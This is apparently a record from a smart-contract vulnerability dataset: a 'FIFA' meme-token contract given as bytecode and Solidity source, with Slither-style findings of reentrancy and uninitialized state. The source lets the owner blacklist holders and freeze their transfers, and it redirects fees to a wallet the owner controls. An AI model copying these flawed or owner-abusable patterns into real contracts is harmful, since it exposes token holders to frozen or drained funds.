ffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b1a30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000610f91565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b6057600080fd5b505afa158015610b74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b989190611f77565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bfa57600080fd5b505afa158015610c0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c329190611f77565b6040518363ffffffff1660e01b8152600401610c4f929190612360565b602060405180830381600087803b158015610c6957600080fd5b505af1158015610c7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca19190611f77565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d2a306106fc565b600080610d356108a0565b426040518863ffffffff1660e01b8152600401610d57969594939291906123b2565b6060604051808303818588803b158015610d7057600080fd5b505af1158015610d84573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610da991906120d1565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550683635c9adc5dea000006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610eac929190612389565b602060405180830381600087803b158015610ec657600080fd5b505af1158015610eda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610efe91906120a4565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611001576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff890612510565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611071576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106890612470565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161114f9190612550565b60405180910390a3505050565b6000811161119f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611196906124f0565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111f657600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611440576003600a819055506007600b81905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156112e45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561133a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113525750600e60179054906101000a900460ff165b1561137f57610384600f546113679190612635565b42101561137e5760105481111561137d57600080fd5b5b5b600061138a306106fc565b9050600e60159054906101000a900460ff161580156113f75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561140f5750600e60169054906101000a900460ff165b1561143e5761141d8161158e565b6000479050670429d069189e000081111561143c5761143b476114b4565b5b505b505b61144b838383611816565b505050565b6000838311158290611498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148f919061242e565b60405180910390fd5b50600083856114a79190612716565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561151c573d6000803e3d6000fd5b5050565b6000600854821115611567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155e90612450565b60405180910390fd5b6000611571611826565b9050611586818461185190919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156115c6576115c5612871565b5b6040519080825280602002602001820160405280156115f45781602001602082028036833780820191505090505b509050308160008151811061160c5761160b612842565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156116ae57600080fd5b505afa1580156116c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e69190611f77565b816001815181106116fa576116f9612842565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061176130600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f91565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016117c595949392919061256b565b600060405180830381600087803b1580156117df57600080fd5b505af11580156117f3573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61182183838361189b565b505050565b6000806000611833611a66565b9150915061184a818361185190919063ffffffff16565b9250505090565b600061189383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ac8565b905092915050565b6000806000806000806118ad87611b2b565b95509550955095509550955061190b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bdd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ec81611c3b565b6119f68483611cf8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a539190612550565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea000009050611a9c683635c9adc5dea0000060085461185190919063ffffffff16565b821015611abb57600854683635c9adc5dea00000935093505050611ac4565b81819350935050505b9091565b60008083118290611b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b06919061242e565b60405180910390fd5b5060008385611b1e919061268b565b9050809150509392505050565b6000806000806000806000806000611b488a600a54600b54611d32565b9250925092506000611b58611826565b90506000806000611b6b8e878787611dc8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611bd583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611450565b905092915050565b6000808284611bec9190612635565b905083811015611c31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2890612490565b60405180910390fd5b8091505092915050565b6000611c45611826565b90506000611c5c8284611e5190919063ffffffff16565b9050611cb081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bdd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d0d82600854611b9390919063ffffffff16565b600881905550611d2881600954611bdd90919063ffffffff16565b6009819055505050565b600080600080611d5e6064611d50888a611e5190919063ffffffff16565b61185190919063ffffffff16565b90506000611d886064611d7a888b611e5190919063ffffffff16565b61185190919063ffffffff16565b90506000611db182611da3858c611b9390919063ffffffff16565b611b9390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611de18589611e5190919063ffffffff16565b90506000611df88689611e5190919063ffffffff16565b90506000611e0f8789611e5190919063ffffffff16565b90506000611e3882611e2a8587611b9390919063ffffffff16565b611b9390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e645760009050611ec6565b60008284611e7291906126bc565b9050828482611e81919061268b565b14611ec1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb8906124b0565b60405180910390fd5b809150505b92915050565b600081359050611edb81612abc565b92915050565b600081519050611ef081612abc565b92915050565b600081359050611f0581612ad3565b92915050565b600081519050611f1a81612ad3565b92915050565b600081359050611f2f81612aea565b92915050565b600081519050611f4481612aea565b92915050565b600060208284031215611f6057611f5f6128a0565b5b6000611f6e84828501611ecc565b91505092915050565b600060208284031215611f8d57611f8c6128a0565b5b6000611f9b84828501611ee1565b91505092915050565b60008060408385031215611fbb57611fba6128a0565b5b6000611fc985828601611ecc565b9250506020611fda85828601611ecc565b9150509250929050565b600080600060608486031215611ffd57611ffc6128a0565b5b600061200b86828701611ecc565b935050602061201c86828701611ecc565b925050604061202d86828701611f20565b9150509250925092565b6000806040838503121561204e5761204d6128a0565b5b600061205c85828601611ecc565b925050602061206d85828601611f20565b9150509250929050565b60006020828403121561208d5761208c6128a0565b5b600061209b84828501611ef6565b91505092915050565b6000602082840312156120ba576120b96128a0565b5b60006120c884828501611f0b565b91505092915050565b6000806000606084860312156120ea576120e96128a0565b5b60006120f886828701611f35565b935050602061210986828701611f35565b925050604061211a86828701611f35565b9150509250925092565b6000612130838361213c565b60208301905092915050565b6121458161274a565b82525050565b6121548161274a565b82525050565b6000612165826125f0565b61216f8185612613565b935061217a836125e0565b8060005b838110156121ab5781516121928882612124565b975061219d83612606565b92505060018101905061217e565b5085935050505092915050565b6121c18161275c565b82525050565b6121d08161279f565b82525050565b60006121e1826125fb565b6121eb8185612624565b93506121fb8185602086016127b1565b612204816128a5565b840191505092915050565b600061221c602a83612624565b9150612227826128b6565b604082019050919050565b600061223f602283612624565b915061224a82612905565b604082019050919050565b6000612262601b83612624565b915061226d82612954565b602082019050919050565b6000612285602183612624565b91506122908261297d565b604082019050919050565b60006122a8602083612624565b91506122b3826129cc565b602082019050919050565b60006122cb602983612624565b91506122d6826129f5565b604082019050919050565b60006122ee602483612624565b91506122f982612a44565b604082019050919050565b6000612311601783612624565b915061231c82612a93565b602082019050919050565b61233081612788565b82525050565b61233f81612792565b82525050565b600060208201905061235a600083018461214b565b92915050565b6000604082019050612375600083018561214b565b612382602083018461214b565b9392505050565b600060408201905061239e600083018561214b565b6123ab6020830184612327565b9392505050565b600060c0820190506123c7600083018961214b565b6123d46020830188612327565b6123e160408301876121c7565b6123ee60608301866121c7565b6123fb608083018561214b565b61240860a0830184612327565b979650505050505050565b600060208201905061242860008301846121b8565b92915050565b6000602082019050818103600083015261244881846121d6565b905092915050565b600060208201905081810360008301526124698161220f565b9050919050565b6000602082019050818103600083015261248981612232565b9050919050565b600060208201905081810360008301526124a981612255565b9050919050565b600060208201905081810360008301526124c981612278565b9050919050565b600060208201905081810360008301526124e98161229b565b9050919050565b60006020820190508181036000830152612509816122be565b9050919050565b60006020820190508181036000830152612529816122e1565b9050919050565b6000602082019050818103600083015261254981612304565b9050919050565b60006020820190506125656000830184612327565b92915050565b600060a0820190506125806000830188612327565b61258d60208301876121c7565b818103604083015261259f818661215a565b90506125ae606083018561214b565b6125bb6080830184612327565b9695505050505050565b60006020820190506125da6000830184612336565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061264082612788565b915061264b83612788565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126805761267f6127e4565b5b828201905092915050565b600061269682612788565b91506126a183612788565b9250826126b1576126b0612813565b5b828204905092915050565b60006126c782612788565b91506126d283612788565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561270b5761270a6127e4565b5b828202905092915050565b600061272182612788565b915061272c83612788565b92508282101561273f5761273e6127e4565b5b828203905092915050565b600061275582612768565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006127aa82612788565b9050919050565b60005b838110156127cf5780820151818401526020810190506127b4565b838111156127de576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612ac58161274a565b8114612ad057600080fd5b50565b612adc8161275c565b8114612ae757600080fd5b50565b612af381612788565b8114612afe57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ea8a27dec2aafd97a5a4d4bc6a3d5e1623e4f6d811ee0b35e57eef95977edbe064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,502
0xa092cc7470bbe43fc9b6ba23b686eb71af11754e
// SPDX-License-Identifier: Unlicensed /* $FIFA - Launching soon ✅Stealth Launch, No Presale, No Private Sale FIFA stands for Football International Fun Ape. This is a non-profit organization dedicated to promote football as a tool to foster communications between different tribes of APE. FIFA exists to govern football and to develop the game around the planet of the apes. Thanks to the reign of Caesar, this organisation has been fast evolving into a body that can more effectively serve our game for the benefit of the entire APE world. The new FIFA is very different from the old human’s FIFA. We modernize football to be global, accessible and inclusive in all aspects. Not just on one or two tribes, but everywhere around the planet of the APE. Under our vision to make football real global and an effective tool to maintain peace, we will help develop football everywhere so that we can foster communication between our fellow APE’s citizens. Join our hands and create a better planet of the Ape. Website: https://fifape.com/ Telegram: https://t.me/fifaeth */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract FIFA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Football International Fun Ape"; string private constant _symbol = "FIFA"; uint private constant _decimals = 9; uint256 private _teamFee = 12; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (2 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 15, "not larger than 15%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf914610404578063cf0848f714610419578063cf9d4afa14610439578063dd62ed3e14610459578063e6ec64ec1461049f578063f2fde38b146104bf57600080fd5b8063715018a61461033a5780638da5cb5b1461034f57806390d49b9d1461037757806395d89b4114610397578063a9059cbb146103c4578063b515566a146103e457600080fd5b806331c2d8471161010857806331c2d847146102535780633bbac57914610273578063437823ec146102ac578063476343ee146102cc5780635342acb4146102e157806370a082311461031a57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101ca57806318160ddd146101fa57806323b872dd1461021f578063313ce5671461023f57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104df565b005b34801561017e57600080fd5b5060408051808201909152601e81527f466f6f7462616c6c20496e7465726e6174696f6e616c2046756e20417065000060208201525b6040516101c191906118fc565b60405180910390f35b3480156101d657600080fd5b506101ea6101e5366004611976565b61052b565b60405190151581526020016101c1565b34801561020657600080fd5b50678ac7230489e800005b6040519081526020016101c1565b34801561022b57600080fd5b506101ea61023a3660046119a2565b610542565b34801561024b57600080fd5b506009610211565b34801561025f57600080fd5b5061017061026e3660046119f9565b6105ab565b34801561027f57600080fd5b506101ea61028e366004611abe565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102b857600080fd5b506101706102c7366004611abe565b610641565b3480156102d857600080fd5b5061017061068f565b3480156102ed57600080fd5b506101ea6102fc366004611abe565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561032657600080fd5b50610211610335366004611abe565b6106c9565b34801561034657600080fd5b506101706106eb565b34801561035b57600080fd5b506000546040516001600160a01b0390911681526020016101c1565b34801561038357600080fd5b50610170610392366004611abe565b610721565b3480156103a357600080fd5b506040805180820190915260048152634649464160e01b60208201526101b4565b3480156103d057600080fd5b506101ea6103df366004611976565b61079b565b3480156103f057600080fd5b506101706103ff3660046119f9565b6107a8565b34801561041057600080fd5b506101706108c1565b34801561042557600080fd5b50610170610434366004611abe565b610978565b34801561044557600080fd5b50610170610454366004611abe565b6109c3565b34801561046557600080fd5b50610211610474366004611adb565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104ab57600080fd5b506101706104ba366004611b14565b610c1e565b3480156104cb57600080fd5b506101706104da366004611abe565b610c94565b6000546001600160a01b031633146105125760405162461bcd60e51b815260040161050990611b2d565b60405180910390fd5b600061051d306106c9565b905061052881610d2c565b50565b6000610538338484610ea6565b5060015b92915050565b600061054f848484610fca565b6105a1843361059c85604051806060016040528060288152602001611ca8602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113e5565b610ea6565b5060019392505050565b6000546001600160a01b031633146105d55760405162461bcd60e51b815260040161050990611b2d565b60005b815181101561063d576000600560008484815181106105f9576105f9611b62565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063581611b8e565b9150506105d8565b5050565b6000546001600160a01b0316331461066b5760405162461bcd60e51b815260040161050990611b2d565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561063d573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461053c9061141f565b6000546001600160a01b031633146107155760405162461bcd60e51b815260040161050990611b2d565b61071f60006114a3565b565b6000546001600160a01b0316331461074b5760405162461bcd60e51b815260040161050990611b2d565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610538338484610fca565b6000546001600160a01b031633146107d25760405162461bcd60e51b815260040161050990611b2d565b60005b815181101561063d57600c5482516001600160a01b039091169083908390811061080157610801611b62565b60200260200101516001600160a01b0316141580156108525750600b5482516001600160a01b039091169083908390811061083e5761083e611b62565b60200260200101516001600160a01b031614155b156108af5760016005600084848151811061086f5761086f611b62565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108b981611b8e565b9150506107d5565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161050990611b2d565b600c54600160a01b900460ff1661094f5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b6064820152608401610509565b600c805460ff60b81b1916600160b81b17905542600d819055610973906078611ba9565b600e55565b6000546001600160a01b031633146109a25760405162461bcd60e51b81526004016